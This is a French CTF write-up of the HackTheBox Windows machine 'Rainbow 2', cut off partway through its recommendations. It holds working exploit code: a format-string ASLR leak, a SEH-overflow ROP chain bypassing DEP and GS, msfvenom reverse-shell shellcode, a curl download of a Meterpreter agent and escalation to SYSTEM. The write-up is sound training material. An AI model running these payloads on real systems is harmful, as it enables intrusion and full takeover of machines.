

RELEASED



white-hat.fr.

Rapport de Pen-Test

AUTEUR DU RAPPORT

Philippe Bécué

RÔLE DE L'AUTEUR

Pen-tester

PÉRIODE

04/03/2026 - 08/03/2026

HackTheBox



HACKTHEBOX

Sommaire

01 Avertissement — Simulation / CTF

Informations légales, confidentialité et conditions d'utilisation de ce document

02 Vidéo Démo

Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 Tableau des vulnérabilités

Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 Liste des intervenants

Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 Scope

Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 Information Gathering

Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 OSINT

Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 Enumeration

Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 Analyse de vulnérabilités

Identification, qualification et classification des failles de sécurité découvertes

10 Exploitation

Démonstration technique de l'exploitation des vulnérabilités confirmées

11 Post-Exploitation

Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 Tableau de synthèse des vulnérabilités

Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 Conclusion

Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 Solution

Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Vidéo Démo

LIEN VERS LA VIDÉO

https://youtu.be/r-Di13OG_j4

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
Critique	9.0 - 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
Élevée	7.0 - 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
Modérée	4.0 - 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
Faible	0.1 - 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
Informative	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

Scope

Portée du test

NOM	DÉTAILS
10.129.2.76	Machine HackTheBox – Rainbow 2 (Windows Server 2022, Medium)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

Information Gathering

On commence par un scan complet des ports pour cartographier la surface d'attaque de la cible :

```
nmap -sV --open -p- --min-rate 5000 10.129.2.76
```

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	Microsoft ftpd
2121/tcp	open	ccproxy-ftp?	
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Trois services sont actifs :

- **Port 21** — FTP Microsoft : à tester pour un accès anonyme
- **Port 2121** — service non reconnu par Nmap : protocole propriétaire, candidat principal pour des vulnérabilités mémoire
- **Port 3389** — RDP Windows : utile si des credentials sont récupérés ultérieurement

La présence d'un service réseau inconnu sur le port 2121 est l'angle d'attaque le plus prometteur. Un protocole propriétaire non documenté, développé sans audit de sécurité, est historiquement une source fertile de vulnérabilités de corruption mémoire.

OSINT

Aucun contenu n'a encore été ajouté à cette section.

Enumeration

Accès FTP anonyme et récupération des fichiers

Le service FTP accepte la connexion avec le compte anonymous sans mot de passe :

```
ftp 10.129.2.76
Connected to 10.129.2.76.
220 Microsoft FTP Service
Name (10.129.2.76:attacker): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5000|)
150 Opening ASCII mode data connection.
06-05-22 11:57AM 705536 filesrv.exe
06-05-22 02:43PM 275 README.txt
06-09-22 05:36AM <DIR> SysWOW64
226 Transfer complete.
ftp> dir SysWOW64
125 Data connection already open; Transfer starting.
05-11-22 03:46AM 683216 kernel32.dll
226 Transfer complete.
```

On récupère trois éléments d'intérêt :

- filesrv.exe — le binaire du service en écoute sur le port 2121
- README.txt — notes du développeur
- SysWOW64\kernel32.dll — une copie de la DLL système utilisée par le service

Le fichier README.txt livre une information capitale :

```
cat README.txt
# FileSrv v0.2
```

Our simple file sharing server! Currently under development.

Changelog:

- After our last custom server got hacked we made sure to enable

all mitigations: ASLR, DEP, GS! Now it's 100% secure.

Le développeur confirme explicitement que des protections mémoire ont été activées après un incident précédent : **ASLR** (randomisation des adresses), **DEP** (prévention de l'exécution en zone non-exécutable) et **GS** (cookie de pile). Ces trois mécanismes devront être contournés. La présence de `kernel32.dll` dans le FTP est aussi un indice stratégique : disposer d'une copie exacte de la DLL utilisée par le service permet de calculer les offsets des fonctions Windows à l'avance.

Analyse statique et dynamique du binaire

On vérifie les protections du binaire avec ropper :

```
ropper --file filesrv.exe --dllcharacteristics
```

DllCharacteristics

=====

Name	Value
----	-----
DynamicBase	Yes
ForceIntegrity	NO
NxCompat	Yes
No Isolation	NO
No SEH	NO
No Bind	NO
WdmDriver	NO
ControlFlowGuard	NO
TerminalServerAware	Yes

DynamicBase: Yes confirme l'ASLR. NxCompat: Yes confirme DEP (NX bit actif). Fait notable : No SEH: NO indique que le mécanisme SEH est présent et que SafeSEH n'est pas appliqué, ce qui ouvre la voie à une exploitation via la chaîne SEH. ControlFlowGuard: NO confirme l'absence de CFG, ce qui facilite la construction d'une chaîne ROP.

On charge le binaire dans WinDbg pour l'analyser dynamiquement. La fonction `main` initialise une structure réseau via `setup` (adresse `0.0.0.0`, port `2121`), puis enchaîne les appels `server` et `handler`.

La fonction `server` suit la séquence classique d'un serveur TCP sous Windows : `WSAStartup` → `socket` → `htons` → `bind` → `listen`.

La fonction `handler` utilise `select` pour surveiller les descripteurs actifs, accepte les connexions avec `accept`, alloue un buffer via `memset`, lit jusqu'à 4096 octets avec `recv`, puis crée un thread par connexion via `CreateThread`. Chaque thread exécute la fonction `StartAddress`.

Dans `StartAddress`, chaque message reçu passe par la fonction `menu` qui prépare la réponse, laquelle est ensuite envoyée au client via `send`.

La fonction `menu` découpe le buffer en deux parties séparées par un espace : la **commande** et le **chemin**. Elle applique des vérifications sur le chemin (refus de `..`, `C:\`, `\`) avant de construire la réponse. Pour les chemins valides, elle utilise vraisemblablement `snprintf` pour copier `Path` : suivi du contenu du chemin dans le buffer de réponse. Deux commandes sont reconnues : `LST` (liste d'un répertoire) et `GET` (contenu d'un fichier encodé en base64).

Analyse du protocole et découverte de la vulnérabilité Format String

On commence à interagir avec le service. Les restrictions de chemin fonctionnent comme décrit :

```
nc 10.129.2.76 2121
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
```

En revanche, la barre oblique `/` n'est pas interdite et permet de lister les fichiers depuis la racine :

```
LST /
Path: /
C:\Documents and Settings
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Users
C:\Windows
```

Toute commande inconnue retourne une erreur avec le chemin reflété :

```
TEST hello
ERROR: Can not open Path: hello
```

Le chemin utilisateur est intégré directement dans la réponse. On teste si l'entrée est traitée comme une chaîne de format en envoyant des spécificateurs %p :

```
TEST %p.%p
```

Dans WinDbg, on pose un breakpoint sur l'appel à send et on inspecte le buffer de réponse :

```
db poi(esp + 4)
```

```
013c25b0 45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f ERROR: Can not o
013c25c0 70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30 pen Path: 1DE700
013c25d0 34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba 4F.3F2A4120.....
```

Les spécificateurs %p ont bien été interprétés comme des pointeurs de pile. Au lieu du texte littéral, la réponse contient deux adresses mémoire. Le second pointeur (3F2A4120) se situe dans le segment code du binaire. En le soustrayant de l'adresse de base du module observée dans WinDbg, on obtient un offset fixe :

```
lm m filesrv
```

```
start      end          module name
3f290000 3f340000  filesrv
```

```
? 0x3f2a4120 - 0x3f290000
```

```
Evaluate expression: 82208 = 00014120
```

L'offset constant est 0x14120. Cette vulnérabilité de type **Format String** permet de calculer dynamiquement l'adresse de base du binaire à chaque connexion, neutralisant ainsi l'ASLR. Tous les gadgets ROP du binaire pourront être adressés précisément sous la forme `binary_base + offset_statique`.

Analyse de vulnérabilités

Débordement de tampon avec écrasement de la chaîne SEH

L'entrée utilisateur n'est pas uniquement vulnérable au format string — elle n'est pas non plus correctement bornée avant la copie en mémoire. En envoyant un pattern cyclique de grande taille, on provoque un crash contrôlé :

```
from pwn import cyclic
payload = cyclic(4000)
# Envoyé via : shell.sendline(b"TEST " + payload)
```

Dans WinDbg, le programme plante avec une violation d'accès. Le registre `eip` ne pointe pas directement sur le pattern, mais la chaîne SEH est écrasée :

```
!exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169
```

On identifie les deux offsets avec `cyclic -l` :

```
cyclic -l 0x6b616169
1032
```

```
cyclic -l 0x6b61616a
1036
```

L'écrasement du pointeur **nSEH** (Next SEH Handler) intervient à l'offset **1032 octets**, celui du **SEH Handler** à **1036 octets**. On a donc un contrôle total sur la structure d'exception.

Dans une exploitation SEH classique sans DEP, on placerait dans le handler un gadget `pop; pop; ret;` pour rediriger l'exécution vers le nSEH utilisé comme saut court. Mais DEP est actif — le stack n'est pas exécutable :

```
!vprot esp
BaseAddress:      00cef000
AllocationProtect: 00000004  PAGE_READWRITE
Protect:          00000004  PAGE_READWRITE
```

La protection `PAGE_READWRITE` sans attribut `EXECUTE` interdit l'exécution directe d'un shellcode en mémoire. Une chaîne ROP est nécessaire pour contourner ce mécanisme.

Stratégie de contournement DEP via VirtualAlloc et technique pushad

La technique retenue consiste à construire une chaîne ROP qui appelle [VirtualAlloc](#) pour modifier les permissions du stack et le rendre exécutable :

```
LPVOID VirtualAlloc(  
    [in, optional] LPVOID lpAddress,          // Adresse cible (esp)  
    [in]           SIZE_T dwSize,            // Taille (0x1)  
    [in]           DWORD  flAllocationType,   // MEM_COMMIT = 0x1000  
    [in]           DWORD  flProtect         // PAGE_EXECUTE_READWRITE = 0x40  
);
```

Pour passer les arguments sans gadgets push individuels (rares avec DEP actif), on utilise le gadget `pushad; ret;` qui empile tous les registres dans un ordre prédéfini :

```
pushad => Push(EAX), Push(ECX), Push(EDX), Push(EBX),  
         Push(ESP), Push(EBP), Push(ESI), Push(EDI)
```

Les arguments de `VirtualAlloc` sont positionnés à partir de `Push(ESP)` — le registre `esp` au moment du `pushad` servira d'`lpAddress`. Les registres à préparer avant le `pushad` sont :

- `ECX` = `0x40` — `flProtect` (`PAGE_EXECUTE_READWRITE`)
- `EDX` = `0x1000` — `flAllocationType` (`MEM_COMMIT`)
- `EBX` = `0x1` — `dwSize`
- `ESI` = adresse de `VirtualAlloc` (appelée implicitement comme "call esi" interne)
- `EBP` = gadget `pop ebp; ret;` (nettoyage du stack après retour de `VirtualAlloc`)
- `EDI` = gadget `ret;` (alignement du flux d'exécution)

Complication supplémentaire : `VirtualAlloc` n'est pas dans la table d'import (IAT) du binaire. On la localise en partant de `TlsAlloc` (présente dans l'IAT) et en calculant l'offset entre les deux fonctions dans `kernel32.dll` — possible grâce à la copie de la DLL récupérée via FTP :

```
? kernel32!VirtualAllocStub - kernel32!TlsAllocStub  
Evaluate expression: -12592 = fffffced0
```

En déréférençant l'entrée IAT de `TlsAlloc` et en y ajoutant `0xfffffed0`, on obtient l'adresse runtime de `VirtualAlloc`. Les valeurs `0x40` et `0x1000` contenant des octets nuls, elles sont construites par soustraction arithmétique pour éviter la troncature de l'entrée par `recv`.

Exploitation

Étape 1 — Fuite de l'adresse de base du binaire (contournement ASLR)

On automatise la lecture du second pointeur fuité via la format string. En lui soustrayant l'offset fixe 0x14120, on recalcule l'adresse de base du binaire à chaque run :

```
#!/usr/bin/python3
from pwn import remote, log

cible = remote("10.129.2.76", 2121)
cible.sendline(b"TEST %p.%p")
cible.recvuntil(b".")

raw = cible.recvline().strip()
binary_base = int(raw, 16) - 0x14120
log.info(f"Adresse de base : {hex(binary_base)}")

cible.interactive()
python3 exploit.py
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] Adresse de base : 0x3f290000
[*] Switching to interactive mode
```

L'adresse de base est maintenant connue dynamiquement. Tous les gadgets ROP seront calculés comme `binary_base + offset_statique`.

Étape 2 — Contrôle SEH et stack pivot

On confirme le contrôle de la structure SEH (handler à 0x43434343, nSEH à 0x42424242), puis on recherche un gadget **stack pivot** pour déplacer esp vers notre payload :

```
ropper --file filesrv.exe --search "add esp, 0x???; ret;"
```

```
[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
```

Le gadget `add esp, 0xe10; ret;` (offset `0x11396`) est choisi. Après l'avoir exécuté, `esp` atterrit dans notre payload. On mesure la distance exacte entre le `esp` post-pivot et le début du buffer :

```
? (esp - debut_buffer) / 4
```

```
Evaluate expression: 30 = 0000001e
```

L'esp est 30 DWORDs après le début du payload. On insère donc **30 gadgets `ret;`** en tête de payload pour absorber ce décalage et aligner le flux d'exécution sur la chaîne ROP principale. La structure complète du payload devient :

1. `[30 × ret]` — alignement post-pivot
2. `[chaîne ROP VirtualAlloc]` — bypass DEP
3. `[shellcode]` — reverse shell
4. `[rembourrage A jusqu'à l'offset 1032]`
5. `[nSEH : 4 octets de bourrage]`
6. `[SEH handler : adresse du gadget stack pivot]`
7. `[rembourrage D jusqu'à 2400 octets]` — forcer un Access Violation dans `snprintf` avant le check GS canary

Étape 3 — Construction de la chaîne ROP

On construit la chaîne ROP gadget par gadget. Tous les offsets sont statiques par rapport à `binary_base`. Les valeurs `0x40` et `0x1000` sont calculées par soustraction pour éviter les octets nuls :

```
rop = b""
```

```
rop += p32(binary_base + 0x01010) * 30 # ret; (alignement x30)
```

```
# Registre ECX = 0x40 (PAGE_EXECUTE_READWRITE)
```

```
rop += p32(binary_base + 0x3711e) # pop eax; ret;
```

```
rop += p32(0x8314c2ab) # valeur intermediaire (0x8314c26b + 0x40)
```

```
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
```

```
rop += p32(binary_base + 0x01068) # pop esi; ret;
```

```
rop += p32(binary_base + 0x01068) # (padding pour le call esi interne)
```

```
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
```

```
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
```

```
# Registre EDX = 0x1000 (MEM_COMMIT)
```

```
rop += p32(binary_base + 0x3711e) # pop eax; ret;
```

```

rop += p32(0x8314d26b)      # valeur intermediaire (0x8314c26b + 0x1000)
rop += p32(binary_base + 0x32ce4)  # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f)  # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141)      # padding pour le pop esi

```

Registre EBX = 0x1 (dwSize)

```

rop += p32(binary_base + 0x0dc14)  # pop ebx; ret;
rop += p32(0xffffffff)             # -1
rop += p32(binary_base + 0x3ac3c)  # inc ebx; ret;
rop += p32(binary_base + 0x3ac3c)  # inc ebx; ret;

```

Registre EBP = pop ebp; ret; (nettoyage post-retour VirtualAlloc)

```

rop += p32(binary_base + 0x0100f)  # pop ebp; ret;
rop += p32(binary_base + 0x0100f)  # adresse du gadget lui-meme

```

Registre ESI = jmp eax (saut vers VirtualAlloc)

```

rop += p32(binary_base + 0x01068)  # pop esi; ret;
rop += p32(binary_base + 0x14af9)  # jmp eax;

```

Registre EDI = ret; (alignement apres pushad)

```

rop += p32(binary_base + 0x15354)  # pop edi; ret;
rop += p32(binary_base + 0x01010)  # ret;

```

Registre EAX = adresse de VirtualAlloc (via TlsAlloc + offset)

```

rop += p32(binary_base + 0x15354)  # pop edi; ret;
rop += p32(0xffffced0)             # VirtualAlloc - TlsAlloc
rop += p32(binary_base + 0x3711e)  # pop eax; ret;
rop += p32(binary_base + 0x9013c)  # entree IAT TlsAlloc()
rop += p32(binary_base + 0x2bb8e)  # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8)  # add eax, edi; ret;

```

Declenchement : pushad + saut vers le shellcode

```

rop += p32(binary_base + 0x113b1)  # pushad; ret;
rop += p32(binary_base + 0x11394)  # jmp esp;

```

On vérifie dans WinDbg que les arguments sont correctement positionnés avant l'appel :

```
bp kernel32!VirtualAllocStub
```

g

```
dds esp + 4 L4
```

```

0194f700 0194f714      ; lpAddress = esp
0194f704 00000001      ; dwSize = 1
0194f708 00001000      ; flAllocationType = MEM_COMMIT
0194f70c 00000040      ; flProtect = PAGE_EXECUTE_READWRITE

```

Après retour de VirtualAlloc, la protection du stack change :

```
!vprot esp  
Protect: 00000040 PAGE_EXECUTE_READWRITE
```

Le stack est maintenant exécutable. Le gadget `jmp esp` en fin de chaîne transfère le contrôle directement au shellcode.

Étape 4 — Génération du shellcode et obtention du shell

On génère un shellcode de reverse shell Windows 32 bits avec `msfvenom`. Les bad chars identifiés lors du fuzzing (`\x00`, `\x01`, `\x09`, `\x0a`, `\x0b`, `\x0c`, `\x0d`, `\x1a`, `\x20`, `\x25`) sont exclus — deux octets supplémentaires (`\x01` et `\x1a`) ont été identifiés comme problématiques lors des tests. L'encodeur `call4_dword_xor` est utilisé (déterministe,

contrairement à `shikata_ga_nai` qui échoue aléatoirement avec autant de bad chars) :

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.59 LPORT=443 \  
-b '\x00\x01\x09\x0a\x0b\x0c\x0d\x1a\x20\x25' \  
-f python -v shellcode \  
-e x86/call4_dword_xor -i 1
```

Payload size: 348 bytes

On intègre le shellcode dans l'exploit automatisé. Un point critique est la **taille du**

payload : le binaire est compilé avec la protection **GS** (stack cookie). Si le payload est trop court (≤ 2000 octets), l'overflow corrompt le canary mais `snprintf` ne déborde pas au-delà de la page mémoire — la fonction retourne, le check GS détecte la corruption et `__fastfail` tue le processus *sans* passer par SEH. Si le payload est trop long (≥ 4000 octets), le serveur le rejette avec `ERROR`. Le sweet spot est **2400 octets** : assez long pour provoquer un Access Violation dans `snprintf` (dépassement de page) *avant* le check GS, ce qui dispatch l'exception via SEH vers notre handler.

Le port 443 est choisi pour le reverse shell car le firewall Windows bloque les ports non-standard en sortie (le port 4444 a été testé sans succès).

```
sudo nc -lvnp 443
```

```
Listening on 0.0.0.0 443
```

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0
```

```
[*] Offset force: 0xffffced0
```

```
[*] Shellcode reverse_tcp: 348 octets
```

```
[+] Opening connection to 10.129.2.76 on port 2121: Done
```

```
[*] [T1] base=0x3f930000 pivot=0xe10 sled=30x4=1200 SC@248 (3480) total=24000  
[+] [T1] Crash! (pas de reponse)
```

Le listener reçoit la connexion :

```
connect to [10.10.16.59] from (UNKNOWN) [10.129.2.76] 50310  
Microsoft Windows [Version 10.0.20348.3453]  
(c) Microsoft Corporation. All rights reserved.
```

C:\shared>

Le shell est éphémère : le service manager Windows redémarre filesrv.exe après le crash et tue tous les processus enfants, y compris le reverse shell. La fenêtre d'interaction est de quelques secondes. Pour contourner ce problème, on utilise le shellcode

windows/exec pour écrire la sortie des commandes dans un fichier accessible via le FTP :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \  
--cmd "cmd /c whoami > C:\shared\out.txt"
```

```
# Puis récupération via FTP :  
ftp 10.129.2.76 # anonymous  
get out.txt
```

```
cat out.txt  
rainbow2\dev
```

On récupère le flag utilisateur de la même manière :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \  
--cmd "cmd /c type C:\Users\dev\Desktop\user.txt > C:\shared\out.txt"
```

L'exploitation est concluante. Le contournement de l'ASLR (format string), du DEP (ROP + VirtualAlloc), du GS (payload 2400 octets → Access Violation avant check canary) et du mécanisme SEH a fonctionné de bout en bout.

Voici la liste des fichiers créés lors de cette démonstration

Fichiers téléchargeables

- check_badchars.py
- check_canary.py
- custom_exploit.py

- `dump_stack.py`
- `exploit_v3.py`
- `filesrv.exe`
- `find_fmtstr_offset.py`
- `find_pop_eax.py`
- `grab.py`
- `kernel32.dll`
- `test_multi_cmd.py`
- `verify_all_gadgets.py`
- `verify_gadgets.py`

Post-Exploitation

Énumération des privilèges du compte de service

On liste les privilèges du compte dev pour identifier des vecteurs d'escalade :

```
C:\shared> whoami /priv
```

```
PRIVILEGES INFORMATION
```

```
-----
```

Privilege Name	Description	State
=====	=====	=====
SeDebugPrivilege	Debug programs	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

La présence de `SeDebugPrivilege` est un vecteur d'escalade de premier ordre. Bien que l'état affiché soit `Disabled`, il ne faut pas se fier à cette indication : sous Windows, un privilège *Disabled* est disponible mais simplement inactif dans le contexte de thread courant. N'importe quel outil capable d'activer les privilèges d'un processus — comme Meterpreter — peut l'utiliser.

`SeDebugPrivilege` autorise l'ouverture d'un handle avec les droits `PROCESS_ALL_ACCESS` sur n'importe quel processus du système, quel que soit son propriétaire. En pratique, cela revient à disposer des droits `NT AUTHORITY\SYSTEM`. La méthode d'exploitation la plus directe est la **migration de processus Meterpreter**, qui injecte du code dans un processus cible via les API `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory` et `CreateRemoteThread` — toutes rendues accessibles par ce privilège.

Escalade vers NT AUTHORITY\SYSTEM par migration de processus

On génère un agent Meterpreter sur le **port 443** (le seul port sortant autorisé par le firewall Windows) et on le transfère sur la machine cible :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.59 LPORT=443 -f exe -o a
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

```
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Le téléchargement est déclenché via l'exploit (shell éphémère, même technique que pour les commandes précédentes) :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "cmd /c curl 10.10.16.59/agent.exe -o C:\shared\agent.exe"
```

Confirmation côté Kali :

```
10.129.2.76 - - "GET /agent.exe HTTP/1.1" 200 -
```

On configure le handler Meterpreter sur le port 443 :

```
sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/r
```

```
[*] Started reverse TCP handler on 10.10.16.59:443
```

L'exécution de l'agent est déclenchée via `wmic process call create`. Cette commande est essentielle : elle crée le processus *en dehors du Job Object Windows* qui tue les processus enfants lors du redémarrage du service. L'agent Meterpreter survit ainsi au crash de `filesrv.exe` :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
--cmd "wmic process call create C:\shared\agent.exe"
```

Sortie capturée par l'exploit :

```
Method execution successful.
```

```
ProcessId = 10924;
```

```
ReturnValue = 0;
```

Le handler reçoit la session :

```
[*] Sending stage (177734 bytes) to 10.129.2.76
```

```
[*] Meterpreter session 1 opened (10.10.16.59:443 -> 10.129.2.76:51466)
```

```
meterpreter > getuid
```

```
Server username: RAINBOW2\dev
```

On migre vers `winlogon.exe`, un processus système qui s'exécute sous NT

AUTHORITY\SYSTEM :

```
meterpreter > migrate -N winlogon.exe
```

```
[*] Migrating from 10924 to 628...
```

```
[*] Migration completed successfully.
```

```
meterpreter > getuid
```

```
Server username: NT AUTHORITY\SYSTEM
```

La migration a réussi. SeDebugPrivilege a permis à Meterpreter d'ouvrir un handle sur winlogon.exe et d'y injecter sa charge utile. On dispose désormais d'un accès complet à la machine en tant que SYSTEM.

Tableau de synthèse des vulnérabilités

VULNÉRABILITÉ	APPLICATION	PORT	TYPE	GRAVITÉ	IMPACT PRINCIPAL
Accès FTP anonyme - divulgation de fichiers sensibles	Microsoft FTP Service	21	Information Disclosure	medium	Téléchargement du binaire serveur et de la DLL kernel32 permettant l'analyse statique hors-ligne
Format String dans le service personnalisé filesrv.exe	filesrv.exe	2121	Information Disclosure / ASLR Bypass	high	Fuite de l'adresse de base du binaire à chaque connexion, contournant l'ASLR
Débordement de tampon SEH dans filesrv.exe	filesrv.exe	2121	RCE	critical	Exécution de code arbitraire via chaîne ROP + VirtualAlloc (DEP bypass) → shell en tant que rainbow2\dev
Privilege Escalation via SeDebugPrivilege	winlogon.exe		Privilege Escalation	high	Migration de processus Meterpreter vers winlogon.exe → accès NT AUTHORITY\SYSTEM

Conclusion

Rainbow 2 est un challenge de niveau intermédiaire entièrement centré sur l'exploitation mémoire d'un service réseau Windows avec protections modernes. La chaîne d'attaque complète :

1. **Reconnaissance** — scan de ports, identification du FTP anonyme comme point d'entrée
2. **Collecte d'artéfacts** — récupération du binaire, du README et de la DLL via FTP anonyme
3. **Reverse engineering** — analyse statique (Ropper) et dynamique (WinDbg) pour cartographier le protocole et les fonctions internes
4. **ASLR bypass** — vulnérabilité Format String dans le traitement du chemin → fuite de l'adresse de base à chaque connexion
5. **GS bypass** — payload de 2400 octets provoquant un Access Violation dans `snprintf` avant le check du stack cookie, forçant le dispatch de l'exception via SEH
6. **DEP bypass + RCE** — stack pivot → chaîne ROP appelant `VirtualAlloc(esp, 1, 0x1000, 0x40)` → shellcode → shell éphémère en tant que `rainbow2\dev`, exploitation via écriture de fichiers et récupération FTP
7. **Privilege Escalation** — `SeDebugPrivilege` + migration Meterpreter vers `winlogon.exe` → `NT AUTHORITY\SYSTEM`

Points techniques retenus :

- La technique **pushad + VirtualAlloc** est particulièrement élégante pour contourner DEP : elle évite de chercher des gadgets `push reg; ret;` individuels, souvent rares dans un binaire compilé avec DEP actif
- Un seul pointeur fuité via une format string suffit à recalculer toute la base du binaire si l'offset est fixe — c'est pourquoi le format string est une vulnérabilité critique même quand elle semble n'exposer que des adresses
- Le contournement du **GS canary** est le point technique le plus subtil : un payload trop court (≤ 2000 octets) déclenche `__fastfail` sans passer par SEH, tandis qu'un payload

trop long (≥ 4000) est rejeté par le serveur. Le sweet spot de **2400 octets** force un Access Violation dans `snprintf` avant le check du canary, ce qui dispatch l'exception via la chaîne SEH contrôlée

- Le shell éphémère imposé par le service manager Windows a nécessité une approche en deux temps : exécution de commandes via `windows/exec` avec écriture dans un fichier accessible par FTP, puis lancement d'un agent Meterpreter via `wmic process call create` pour échapper au Job Object et obtenir une session persistante
- La présence de `kernel32.dll` dans le FTP était un indice stratégique : elle permettait de valider hors-ligne les offsets de `TlsAlloc` et `VirtualAlloc` avec la version exacte de la DLL utilisée par le service
- `SeDebugPrivilege` est systématiquement sous-estimé — il équivaut à des droits SYSTEM sur toutes les versions de Windows et ne devrait jamais être accordé à un compte de service applicatif

Solution

1. Désactiver l'accès FTP anonyme

Supprimer ou restreindre l'accès anonyme au serveur FTP. Ne jamais exposer des binaires exécutables propriétaires ni des DLL système via un partage public — ces fichiers fournissent aux attaquants tout le matériel nécessaire pour une analyse hors-ligne complète (gadgets ROP, offsets de fonctions, logique du protocole).

2. Corriger la vulnérabilité de Format String

Ne jamais utiliser une entrée utilisateur directement comme chaîne de format dans des fonctions de la famille `printf`. La correction est triviale :

```
// VULNERALE
snprintf(buffer, sizeof(buffer), user_input);

// CORRIGE
snprintf(buffer, sizeof(buffer), "%s", user_input);
```

Cette modification seule aurait suffi à empêcher le bypass d'ASLR, rendant l'exploitation de l'overflow nettement plus difficile.

3. Valider la longueur des entrées réseau

Toute donnée reçue depuis le réseau doit être bornée avant toute opération de copie mémoire. Implémenter une vérification stricte de la longueur du payload et rejeter toute entrée dépassant la taille maximale attendue. Utiliser exclusivement des fonctions sécurisées : `strncpy_s`, `memcpy_s`, `strncat_s`.

4. Activer les protections à la compilation

Recompiler le binaire avec les options de sécurité suivantes :

- `/SAFESEH` — valide les SEH handlers contre une liste d'entrées légitimes, empêchant tout détournement de la chaîne d'exception
- `/guard:cf` (Control Flow Guard) — valide toutes les cibles de branchements indirects, rendant les gadgets ROP inutilisables

- /DYNAMICBASE /HIGHENTROPYVA — ASLR avec entropie maximale

5. Appliquer le principe de moindre privilège

